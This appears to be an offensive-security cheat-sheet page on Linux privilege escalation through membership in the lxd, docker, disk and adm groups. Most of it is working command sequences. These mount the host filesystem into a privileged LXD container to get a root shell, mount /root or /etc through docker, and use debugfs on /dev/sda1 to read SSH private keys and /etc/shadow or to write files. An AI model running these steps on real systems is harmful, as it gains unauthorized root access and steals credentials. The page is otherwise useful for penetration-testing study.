Privileged Groups
LXC/LXD
Check group membership
$ id uid=1009(devops) gid=1009(devops) groups=1009(devops),110(lxd)
Unzip alpine image
$ unzip alpine.zip
Start LXD initialization process. Consult this post for more information on each step.
$ lxd init
Import the local image
$ lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
Start a privilieged container
$ lxc init alpine r00t -c security.privileged=true
Mount the host file system
$ lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
Spawn a shell inside the container instance as root
$ lxc start r00t $ lxc exec r00t /bin/sh
Docker
Placing a user in the docker group is essentially equivalent to root access
We can spawn new containers on the /root directory to read files or ssh keys
$ docker run -v /root:/mnt -it ubuntu $ # or use /etc to retrieve /etc/shadow $ docker run -v /etc:/mnt -it ubuntu
Disk
Users within the disk group has access to any devices contained in /dev
Access /dev/sda1 which is used as the main device used by the OS
$ df -h #Find where "/" is mounted $ debugfs /dev/sda1 debugfs: cd /root debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow
Or write files
$ debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
ADM
Users within this group can access all logs stored in /var/log but this can be used to gather sensitive data stored in log files or enumerate user actions and running cron jobs.
Last updated